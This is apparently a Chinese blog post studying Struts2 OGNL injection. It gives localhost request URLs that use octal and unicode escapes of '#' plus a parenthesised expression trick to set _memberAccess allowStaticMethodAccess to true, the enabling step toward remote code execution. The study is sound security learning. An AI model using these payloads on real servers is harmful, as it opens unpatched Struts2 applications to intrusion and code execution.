struts2远程执行漏洞学习(二)

  http://commons.apache.org/ognl/language-guide.html

这个是ognl的官网,在这里能看到不少这个ognl的表达式的介绍。

下来开始测试,

 

我首先选择的是struts2.1.18版本这是一个简单的赋值测试,目的是改变context中的

43_memberAccess['allowStaticMethodAccess']=true,这个事webwork中很重要的一个参数,他决定了你是否可以在ognl表达式中使用静态方法,这个在后面的使用中十分重要。

 

 

 

http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true

 

实际上这句话并不能很好的完成工作,因为struts2中的xwork过滤掉了#,这里就是这个漏洞的起始点,虽然他过滤掉了#

但是我们可以使用\u0020  \43   \043 ,分别是16进制的unicode编码,8进制的编码这三种方式绕过对#的过滤

http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true

 

但是如果这样依旧会有问题,会产生无法解析的语法树,因为\43这样的他是直接无法解析的,需要用'号括起来

http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外层有了单引号,所以内层也要对单引号做转义。这样的语句就可以正常生成ast树了

 

接下来问题实际上是现在这样仍然无法识别出#_memberAccess['allowStaticMethodAccess'],所以这里才用了个小技巧,构造了复杂一些的ast树

('\43_memberAccess[\'allowStaticMethodAccess\']')(a)

这样的ast树实际上是有两个节点,

('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

然后赋值就可以了,这里我觉得之所以需要构建2层语法树,实质上是和转义有关的。

 

 

http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

这就是对


struts2远程执行漏洞学习(二)
 
对这个context中控制ognl关键变量的改变。
 

 

当然我们还有另一种写法

http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true

这样的写法也是可以的,而且比较简洁,就看你怎么选了

你可能感兴趣的:(struts2)